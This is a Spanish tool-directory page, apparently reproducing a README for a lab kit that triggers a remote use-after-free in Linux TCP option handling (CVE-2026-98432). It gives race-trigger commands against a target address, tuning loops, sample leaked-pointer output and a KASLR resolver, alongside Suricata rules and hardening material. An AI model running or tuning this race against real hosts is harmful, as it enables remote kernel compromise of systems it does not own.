Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-98432 — Kit de herramientas de laboratorio para el use-after-free de ireq_opt en TCP de Linux (CVE-2026-98432): activación de la condición de carrera con oráculo de reutilización de heap, analizador de fugas, resolución de KASLR, análisis de pcap, reglas de IDS y endurecimiento. | Kitploit
Herramientas/GitHubGitHub/h1z3-br0/cve-2026-98432
Sniffing y Análisis de PaquetesAnálisis de VulnerabilidadesExplotaciónFuzzingSeguridad de RedesDetección de IntrusionesLabs y Práctica
GitHubh1z3-br0/cve-2026-98432

CVE-2026-98432

Kit de herramientas de laboratorio para el use-after-free de ireq_opt en TCP de Linux (CVE-2026-98432): activación de la condición de carrera con oráculo de reutilización de heap, analizador de fugas, resolución de KASLR, análisis de pcap, reglas de IDS y endurecimiento.

Ver Repositorio
1532hace 2 díasAún no revisado
Sitio web

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Kit de investigación CVE-2026-98432

Un pequeño kit de laboratorio probado para CVE-2026-98432, un use-after-free remoto en la pila IPv4/TCP de Linux (CVSS 9.8). Contiene un disparador de condición de carrera con un oráculo de reutilización de heap, un analizador de fugas, un resolutor de KASLR, análisis de pcap, reglas IDS y asistentes de endurecimiento.

[!WARNING] Esto es herramienta de ataque. Ejecútala solo contra máquinas que poseas, dentro de un laboratorio aislado. La vulnerabilidad es remota y no necesita credenciales en el objetivo. La herramienta rechaza direcciones públicas a menos que pases explícitamente --allow-public.

Qué es esto

  • un disparador para la condición de carrera de ireq_opt, con un modelo de temporización preciso y configurable;
  • un oráculo que demuestra la reutilización de memoria en lugar de adivinarla: cada intento lleva un marcador único en sus opciones IP, y un SYN-ACK que devuelve el marcador de un intento diferente significa que el kernel leyó un objeto liberado;
  • un flujo de trabajo de fuga: los SYN-ACK anómalos se vuelcan a pcap, se escanean en busca de punteros del kernel, y un puntero de texto filtrado puede convertirse en un desplazamiento de KASLR con un System.map;
  • material de detección y mitigación: analizador de pcap, reglas de Suricata, un verificador de parches y un script de endurecimiento.

Qué no es esto

  • no es un exploit de root de un solo clic. Se detiene en un use-after-free confirmado y una fuga de memoria. La etapa 3 (evasión de KASLR, heap grooming, payload) se describe en docs/analysis.md, pero no está implementada: sin una compilación de kernel específica sería ficción.
  • no es un escáner. Habla con un único objetivo que tú nombras.

Requisitos

ObjetivoLinux con un listener TCP IPv4, kernel anterior a la corrección
AtacanteLinux, CAP_NET_RAW, un compilador de C, Python 3.8+
Recomendadodos VMs o una VM más un host, en la misma red L2

--mode raw además necesita CAP_NET_ADMIN para instalar dos reglas de iptables (la herramienta las imprime).

Inicio rápido

make                      # builds bin/cve_2026_98432
make check                # full offline test suite, no packets sent
./bin/cve_2026_98432 --check

En el laboratorio:

# 1. is the target an MPTCP listener? (one SYN, no side effects)
./bin/cve_2026_98432 --probe 192.168.56.10:9000

# 2. run the race for ten minutes, keep the evidence
./bin/cve_2026_98432 --race 192.168.56.10:9000 --iface eth1 \
    --workers 16 --spray 4 --duration 600 --pcap hits.pcap

# 3. analyze offline
python3 tools/analyze_pcap.py hits.pcap

El código de salida es 0 cuando el oráculo detectó un bloque de opciones reutilizado (prueba del use-after-free), 3 cuando no lo detectó, y 1/2 en caso de errores.

Una ejecución de laboratorio ya ha confirmado el oráculo UAF: el SYN-ACK llevaba el marcador de otra solicitud, lo que demuestra que el kernel leyó un objeto de opciones reutilizado. Véase docs/verified-hit.md. La etapa 2 (convertir la reutilización en una fuga de punteros del kernel) está implementada e instrumentada, pero aún no se ha reproducido; véase docs/stage2-leak.md. A fecha de 2026-11-02 no existe ninguna cadena de RCE weaponizada pública: la cadena de Anthropic solo se describe en prosa, y el trabajo independiente más detallado se detiene en una desreferencia controlada sobre un kernel instrumentado.

Reproducir en una VM

lab/build-lab.sh descarga Linux 6.12.112, revierte la corrección de dos líneas, compila un kernel y lo arranca en QEMU junto con la herramienta y un listener. Véase lab/README.md para los requisitos y los comandos dentro de la VM.

Compilación y pruebas

make              # optimised build
make test         # C unit tests + built-in self-test
make san          # UBSan locally, ASan+UBSan on Linux
make check        # everything: clean build, unit tests, sanitizers, Python, shell

make check nunca abre un socket. Cubre la construcción y el análisis de paquetes, las sumas de comprobación, ambas variantes de marcador, el clasificador de punteros, el escritor de pcap, una pasada de fuzzing del analizador, los analizadores, los ayudantes de shell, la CLI y la protección de seguridad. Consulte docs/analysis.md para ver la matriz completa.

Uso de la herramienta

modoqué hacered
--checkcompara el kernel en ejecución con la tabla de correcciones, imprime el estado de MPTCP y tcp_migrate_reqninguna
--selftestprueba de humo integradaninguna
--emit-demo FILEescribe una captura UAF sintética (para probar el analizador)ninguna
--dump-configimprime la configuración normalizadaninguna
--probe IP:PORTun SYN con MP_CAPABLE, detecta un listener MPTCPun paquete
--race IP:PORTla carrera realmuchos paquetes

Opciones comunes de carrera:

--workers N        concurrent attempts (default 8)
--duration S       stop after S seconds
--spray N          heap-spray threads
--dup-burst N      duplicate SYNs per attempt (lab tuning)
--mode raw|socket  who owns the handshake (default socket)
--rtt-lead US      send the duplicate SYN this early (may be negative)
--rst-delta US     RST offset after the predicted ACK
--jitter US        randomize both offsets
--pcap FILE        write anomalous frames

Ejecuta ./bin/cve_2026_98432 --help para ver la lista completa.

Lectura de la salida

[*] attempts=148213 synacks=147902 hits=1 anomalies=7 malformed=0 rtt=68.4us
camposignificado
attemptshandshakes iniciados
synacksSYN-ACKs observados
hitsel SYN-ACK portaba el marcador de otro intento: use-after-free confirmado
anomaliesel blob de opciones no se pudo analizar como nuestro (posibles bytes filtrados)
malformedIPv4 ihl < 5, la firma del underflow
marker echoedSYN-ACKs que portaban nuestro marcador TS
rttestimación actual del round-trip usada para la temporización

Un hit se ve así:

[!] UAF ORACLE HIT: foreign magic bbbb0002 (expected aaaa0001)
    ipopts[40] = 44280500...bbbb0002...
    kernel ptr @8: ffffffff81234567 (text) base2M=ffffffff81200000

Ajuste de la carrera

La carrera es una lotería de apropiación, pero la sincronización sigue importando. Comienza con los valores predeterminados en loopback o en una LAN, luego recorre:

for lead in 0 10 30 60 120; do
  for delta in -20 0 20 60; do
    ./bin/cve_2026_98432 --race "$TARGET" --iface "$IFACE" \
        --duration 120 --rtt-lead "$lead" --rst-delta "$delta" --jitter 10
  done
done
  • Más cerca es mejor: loopback o el mismo switch supera a internet por órdenes de magnitud.
  • Más workers y hilos de spray aumentan la presión del planificador, que es lo que amplía la ventana.
  • Un intento fallido cuesta un handshake; nada se cae.

Detección

python3 tools/analyze_pcap.py capture.pcap --json report.json
python3 tools/kaslr_resolve.py System.map 0xffffffff9a2b3c4d

Las reglas de Suricata están en tools/suricata.rules. Las dos firmas de alto valor son un SYN TCP entrante con opciones IP y una cabecera IPv4 con ihl < 5.

Mitigación

Descargar herramienta